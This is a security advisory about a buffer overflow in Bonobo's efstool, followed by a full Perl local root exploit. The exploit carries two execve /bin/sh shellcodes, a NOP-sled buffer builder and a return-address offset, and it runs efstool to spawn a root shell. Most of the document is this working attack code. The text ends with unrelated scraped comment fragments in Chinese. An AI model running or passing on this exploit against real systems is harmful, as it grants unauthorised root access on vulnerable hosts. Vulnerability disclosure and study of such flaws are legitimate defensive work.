source: http://www.securityfocus.com/bid/5125/info
Bonobo is a set of tools and CORBA interfaces included as part of the Gnome infrastructure. It is designed for use on the Linux and Unix operating systems.
A boundry condition error has been discovered in the efstool program. Due to improper bounds checking, it is possible for a user to supply a long commandline argument to the efstool program, which would result in a buffer overflow. This problem could be exploited on the local system to overwrite stack memory, including the return address, and execute attacker supplied code.
#!/usr/bin/perl
# efstool root exploit
# written by clorox of Ptrac Networks for BKACC(Bored Kids At ComputerCamp)
# give the campers internet grogan!
#
# tested to work on slackware 8, mandrake 8, mandrake 7.1
# tweaks may be needed on the offset
# method 1 works more often but
# method 2 is faster but not too good
#
#
# enjoy -clorox
# perl efs.pl -1000
$shellcode =
"xebx1dx5ex29xc0x88x46x07x89".
"x46x0cx89x76x08xb0x0bx87xf3".
"x8dx4bx08x8dx53x0cxcdx80x29".
"xc0x40xcdx80xe8xdexffxffxff".
"/bin/sh";
$shellcode2 =
"xebx1fx5ex89x76x08x31xc0x88".
"x46x07x89x46x0cxb0x0bx89xf3".
"x8dx4ex08x8dx56x0cxcdx80x31".
"xdbx89xd8x40xcdx80xe8xdcxff".
"xffxff/bin/sh";
$ret = "0xbfffe890";
$offset = $ARGV[0];
$nop = "x90";
if ($ARGV[1] eq "m1") {
$len = 3000;
for ($i = 0; $i < ($len - length($shellcode)); $i++) {
$buffer .= $nop;
}
$buffer .= $shellcode;
} elsif ($ARGV[1] eq "m2") {
$len = 10010;
for ($i = 0; $i < ($len - length($shellcode)); $i++) {
$buffer .= $nop;
}
$buffer .= $shellcode2;
} else {
print "You must specify a method fool!n";
print "perl $0 <offset> m1 or m2n";
}
$buffer .= pack('l', ($ret + $offset));
$buffer .= pack('l', ($ret + $offset));
exec("efstool $buffer");
# and on the seventh day clorox said "LET THERE BE SHELL!"
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666